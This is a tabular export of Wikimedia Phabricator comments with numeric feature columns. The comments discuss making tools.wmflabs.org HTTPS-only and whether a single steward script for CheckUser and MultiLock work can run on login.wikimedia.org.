dynamicproxy: Allow proxies to be https only

[[GERRIT_URL]]"
476139,Migrate tools.wmflabs.org to https only (and set HSTS),"> Should be fairly simple to do.

I doubt this is possible. Several tools do not support https.",,,1434524093,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,2,True,,,-3,True,7.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8666666666666667,0.9333333333333333,"QUOTE

I doubt this is possible. Several tools do not support https."
474270,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 218117 had a related patch set uploaded (by Yuvipanda):
dynamicproxy: Allow proxies to be https only

[[https://gerrit.wikimedia.org/r/218117]]
",,,1434252909,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.892857142857143,0.8928571428571429,"Change 218117 had a related patch set uploaded (by Yuvipanda):
dynamicproxy: Allow proxies to be https only

[[GERRIT_URL]]
"
102254,Allow a script to work on login.wikimedia.org,To facilitate abuse management it'd be good if you could consider allowing **a single script** to work on loginwiki. Jump to: T102254#2193501.,Low,25.0,1434130393,1464025275.0,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,PHID-TASK-tnuyibbkgzspv43mk744,task_description,resolved,True,c3,2,True,True,False,-3,True,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,7.0,17.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.033333333333333,0.8333333333333334,To facilitate abuse management it'd be good if you could consider allowing **a single script** to work on loginwiki. Jump to: T102254#2193501.
667055,Allow a script to work on login.wikimedia.org,"Since this was deployed and it's live, I think we can just close this. Please reopen if you disagree.",,,1464025275,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,46,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,9.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,13.0,9.0,4.0,9.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,17.0,9.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.608695652173913,0.9130434782608695,"Since this was deployed and it's live, I think we can just close this. Please reopen if you disagree."
659513,Allow a script to work on login.wikimedia.org,It has also been switched on Wikimedia's CentralAuth wikis. (rOMWCc340b3c237014c3f0) The CheckUser change hasn't yet been deployed on the cluster but it will reach loginwiki tomorrow (if there are no further issues).,,,1462894849,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,44,True,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,12.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,8.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.625,0.85,It has also been switched on Wikimedia's CentralAuth wikis. (rOMWCc340b3c237014c3f0) The CheckUser change hasn't yet been deployed on the cluster but it will reach loginwiki tomorrow (if there are no further issues).
647014,Allow a script to work on login.wikimedia.org,I have submitted https://gerrit.wikimedia.org/r/#/c/283840/,,,1460871427,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,I have submitted URL
645729,Allow a script to work on login.wikimedia.org,">>! In T102254#2205003, @Krenair wrote:
> I probably could as a global interface editor

Yeah, you can. But we can solve this: For all groups which got the ""edit"" permission change the wikiset from ""None, applies to all wikis."" to ""All existing wikis"". That would solve the problem too I think.",,,1460641127,,PHID-USER-qlodcndtwpolbdhncjis,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,41,True,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,7.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,17.0,0.0,2.0,17.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,6.0,7.0,0.0,0.0,11.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.3703703703703702,0.6851851851851852,"QUOTE
QUOTE

Yeah, you can. But we can solve this: For all groups which got the ""edit"" permission change the wikiset from ""None, applies to all wikis."" to ""All existing wikis"". That would solve the problem too I think."
645421,Allow a script to work on login.wikimedia.org,I probably could as a global interface editor,,,1460582301,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,40,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,I probably could as a global interface editor
645420,Allow a script to work on login.wikimedia.org,What about setting wgUseSiteJs to true again? It's not like anyone who is not a steward could insert code to it.,,,1460582194,,PHID-USER-7e4yonmruupxzg23swum,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,False,,,40,True,0.0,4.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,17.0,4.0,4.0,0.0,0.0,8.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,3.8333333333333335,0.9166666666666666,What about setting wgUseSiteJs to true again? It's not like anyone who is not a steward could insert code to it.
645162,Allow a script to work on login.wikimedia.org,">>! In T102254#2203699, @Glaisher wrote:
> $wgUseSiteJs is also set to false on loginwiki so it probably won't work (haven't checked, just guessing).

I checked includes/resourceloader/ResourceLoaderUserGroupsModule.php - you're right, it won't work.",,,1460563453,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,40,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,10.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.9523809523809526,0.9047619047619048,"QUOTE
QUOTE

I checked includes/resourceloader/ResourceLoaderUserGroupsModule.php - you're right, it won't work."
645148,Allow a script to work on login.wikimedia.org,">>! In T102254#2203252, @MarcoAurelio wrote:
> @csteipp What about adding the script at loginwiki:MediaWiki:Group-checkuser.js? Stewards have local CU rights there, and scripts used on that page will just load for users in the checkuser group. Just an idea to have this working for now instead of having to load this on {rECHU} which might be harder (although it's what's desired in the long run).

$wgUseSiteJs is also set to false on loginwiki so it probably won't work (haven't checked, just guessing). Instead of checking for the `centralauth-lock` right (which is not assigned to the stewards global group) to load the JS, maybe we could check whether the user is in the global steward group? Not particularly elegant but it works and would make things simple. Another option to workaround it is to assign the right to the global group to make the code a little better but I guess people won't like it.",,,1460562678,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,40,True,0.0,0.0,0.0,1.0,3.5,5.0,2.0,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,1.5,0.0,8.0,9.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,5.5,3.5,3.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,7.0,3.0,5.5,1.5,3.0,8.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,5.0,9.0,4.0,1.0,0.0,0.0,5.0,0.0,0.5,1.0,0.0,1.0,1.0,0.0,0.0,3.917365478686233,0.7658979734451432,"QUOTE
QUOTE

$wgUseSiteJs is also set to false on loginwiki so it probably won't work (haven't checked, just guessing). Instead of checking for the CODE right (which is not assigned to the stewards global group) to load the JS, maybe we could check whether the user is in the global steward group? Not particularly elegant but it works and would make things simple. Another option to workaround it is to assign the right to the global group to make the code a little better but I guess people won't like it."
645054,Allow a script to work on login.wikimedia.org,"@csteipp What about adding the script at loginwiki:MediaWiki:Group-checkuser.js? Stewards have local CU rights there, and scripts used on that page will just load for users in the checkuser group. Just an idea to have this working for now instead of having to load this on {rECHU} which might be harder (although it's what's desired in the long run).",,,1460557775,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,40,True,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,16.0,1.0,3.0,1.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,9.0,1.0,1.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,16.0,5.0,1.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,4.0,1.0,0.0,1.0,4.0,0.8378378378378378,"SCREEN_NAME What about adding the script at loginwiki:MediaWiki:Group-checkuser.js? Stewards have local CU rights there, and scripts used on that page will just load for users in the checkuser group. Just an idea to have this working for now instead of having to load this on {rECHU} which might be harder (although it's what's desired in the long run)."
644268,Allow a script to work on login.wikimedia.org,"> Problem might be with the ""appropriate rights"", because since on loginwiki we just hold CU rights and the others being imported from the steward's global group. Do you think that'll work? If so, can we arrange to have this installed as is, and look later on installing Ex:Gadgets there if at all necessary?

Yeah, it's a little messy. Let me see if I can figure out a way to do that nicely..",,,1460476936,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,40,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,16.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,2.88,0.96,"QUOTE

Yeah, it's a little messy. Let me see if I can figure out a way to do that nicely.."
644033,Allow a script to work on login.wikimedia.org,">>! In T102254#2195633, @csteipp wrote:
> For this particular script, agree, it looks safe. Should that be added to the CU extension, for wikis that also have CentralAuth and the user has appropriate rights?

Problem might be with the ""appropriate rights"", because since on loginwiki we just hold CU rights and the others being imported from the steward's global group. Do you think that'll work? If so, can we arrange to have this installed as is, and look later on installing Ex:Gadgets there if at all necessary?",,,1460453144,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,40,True,1.0,0.0,0.0,1.0,0.0,4.0,1.0,1.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,3.0,1.0,9.0,16.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,4.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,4.0,12.0,6.0,3.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,16.0,7.0,3.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.869565217391304,0.8405797101449275,"QUOTE
QUOTE

Problem might be with the ""appropriate rights"", because since on loginwiki we just hold CU rights and the others being imported from the steward's global group. Do you think that'll work? If so, can we arrange to have this installed as is, and look later on installing Ex:Gadgets there if at all necessary?"
643950,Allow a script to work on login.wikimedia.org,">>! In T102254#2195821, @Luke081515 wrote:
>>>! In T102254#2195633, @csteipp wrote:
>>(...) Should that be added to the CU extension, for wikis that also have CentralAuth and the user has appropriate rights?
> 
> Adding that script to the CU Extension is the best, I think, because:
> * No need for gadgets
> * No need to look if other gadgets get installed
> * Problem with multi lock / CU solved
> * and general useful for the extension checkuser.

Yeah, if it's moderately easy to add to checkuser that would be best on multiple fronts. There is also a (different but obviously related) desire to have that functionality in checkuser anyway :) .",,,1460424547,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,19.0,2.0,2.0,4.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,11.0,14.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.8421052631578947,0.6491228070175439,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yeah, if it's moderately easy to add to checkuser that would be best on multiple fronts. There is also a (different but obviously related) desire to have that functionality in checkuser anyway :) ."
643608,Allow a script to work on login.wikimedia.org,">>! In T102254#2195633, @csteipp wrote:
>(...) Should that be added to the CU extension, for wikis that also have CentralAuth and the user has appropriate rights?

Adding that script to the CU Extension is the best, I think, because:
* No need for gadgets
* No need to look if other gadgets get installed
* Problem with multi lock / CU solved
* and general useful for the extension checkuser.",,,1460395286,,PHID-USER-qlodcndtwpolbdhncjis,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,40,True,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,18.0,4.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,12.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.607142857142857,0.6964285714285714,"QUOTE
QUOTE

Adding that script to the CU Extension is the best, I think, because:
* No need for gadgets
* No need to look if other gadgets get installed
* Problem with multi lock / CU solved
* and general useful for the extension checkuser."
643588,Allow a script to work on login.wikimedia.org,"On the larger question of should we install Gadgets on that wiki, I need to look more into the current state of the extension. Let me get back to you on that one.

For this particular script, agree, it looks safe. Should that be added to the CU extension, for wikis that also have CentralAuth and the user has appropriate rights?",,,1460393951,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,40,True,0.0,0.0,0.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,16.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,11.0,0.0,1.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,7.0,16.0,4.0,1.0,0.0,0.0,7.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,3.857142857142857,0.7571428571428571,"On the larger question of should we install Gadgets on that wiki, I need to look more into the current state of the extension. Let me get back to you on that one.

For this particular script, agree, it looks safe. Should that be added to the CU extension, for wikis that also have CentralAuth and the user has appropriate rights?"
643202,Allow a script to work on login.wikimedia.org,"I'd love if this could be reconsidered given that our work has increased there, but in a different fashion. I'd love to know if **a single script**, that is: @Glaisher's [[ https://meta.wikimedia.org/wiki/User:Glaisher/cuCAMultiLock.js | cuCAmultilock ]] could be enabled there. It just allows to parse data from the CU form to the MultiLock form at Meta, and that will solve a lot of our current problems. Currently it has been requested at T128605, but it's triaged low and seems it's not going to happen soon. What do you think @csteipp? You were opposed on allowing all kinds of Gadgets, but on T102254#1366965 you left the door opened with some conditions. This one is very simple but very handy. It won't be hard to security-review and code-reviewed it and if allowed, will save us a lot of time.",,,1460276913,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,40,True,1.0,0.0,1.0,2.0,1.0,4.0,1.0,0.0,0.0,1.5,0.5,1.5,0.0,0.0,0.0,2.5,0.0,5.5,10.5,0.0,1.5,0.0,0.0,0.0,2.0,0.5,0.0,0.0,1.0,2.0,0.0,5.0,0.5,3.5,0.0,2.0,0.5,0.0,0.5,2.5,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,10.0,1.5,1.0,0.5,1.5,0.0,0.5,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,4.0,8.5,2.0,4.5,7.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,8.0,10.5,4.0,0.5,0.0,0.0,8.0,0.0,0.5,2.0,0.5,1.0,0.0,0.0,1.0,3.692771084337349,0.7409638554216867,"I'd love if this could be reconsidered given that our work has increased there, but in a different fashion. I'd love to know if **a single script**, that is:SCREEN_NAME's [[ URL | cuCAmultilock ]] could be enabled there. It just allows to parse data from the CU form to the MultiLock form at Meta, and that will solve a lot of our current problems. Currently it has been requested at T128605, but it's triaged low and seems it's not going to happen soon. What do you thinkSCREEN_NAME? You were opposed on allowing all kinds of Gadgets, but on T102254#1366965 you left the door opened with some conditions. This one is very simple but very handy. It won't be hard to security-review and code-reviewed it and if allowed, will save us a lot of time."
492725,Allow a script to work on login.wikimedia.org,"Implementation of gadgets on this wiki should be considered blocked by {T71445}. The other suggested alternatives don't seem to match up with this task, so I'm just going to mark this as declined.",,,1437083719,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,8.0,20.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,20.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.1,0.9,"Implementation of gadgets on this wiki should be considered blocked by {T71445}. The other suggested alternatives don't seem to match up with this task, so I'm just going to mark this as declined."
476015,Allow a script to work on login.wikimedia.org,"At face value, I don't see that the data is any more precious than any
other wiki. The wiki contains one-touch data for three months for new user
accounts. Compared to big wikis that contain data on all edits for those
wikis. One would think that enWP would beat it easily.

I am not arguing that we should allow all users access to run scripts,
pointless argument for users who don't need it. We are looking to a special
case of allowing stewards to have functionality of tools that they can run
on every other open wmf wiki which they can use around CU tools /
investigations.",,,1434493307,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,3.0,0.0,0.0,0.0,2.0,5.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,0.0,3.0,11.5,0.0,1.5,1.0,0.0,0.5,0.0,0.0,0.0,1.0,1.5,1.0,0.0,4.5,1.0,1.5,1.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,2.5,0.0,0.0,1.0,0.5,2.0,14.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.5,1.5,0.0,2.0,2.0,4.5,2.0,0.0,6.0,0.0,0.0,0.0,0.0,6.5,0.0,1.0,0.0,6.0,11.5,1.5,0.0,0.0,0.0,6.0,0.0,3.0,1.0,0.0,2.5,0.5,0.0,0.0,3.781125992063492,0.7718253968253967,"At face value, I don't see that the data is any more precious than any
other wiki. The wiki contains one-touch data for three months for new user
accounts. Compared to big wikis that contain data on all edits for those
wikis. One would think that enWP would beat it easily.

I am not arguing that we should allow all users access to run scripts,
pointless argument for users who don't need it. We are looking to a special
case of allowing stewards to have functionality of tools that they can run
on every other open wmf wiki which they can use around CU tools /
investigations."
475833,Allow a script to work on login.wikimedia.org,">>! In T102254#1371220, @MF-Warburg wrote:
> What is the problem with allowing user css/js on loginwiki?

The problem is because it allows unreviewed JavaScript code to be executed in the browsers of users. This is a problem across all wikis, but considering the sensitive nature of the loginwiki, we should be stricter with it than other wikis.",,,1434482661,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,2.0,0.0,0.0,2.0,0.0,8.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,16.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,8.0,10.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,16.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,4.326530612244898,0.7755102040816326,"QUOTE
QUOTE

The problem is because it allows unreviewed JavaScript code to be executed in the browsers of users. This is a problem across all wikis, but considering the sensitive nature of the loginwiki, we should be stricter with it than other wikis."
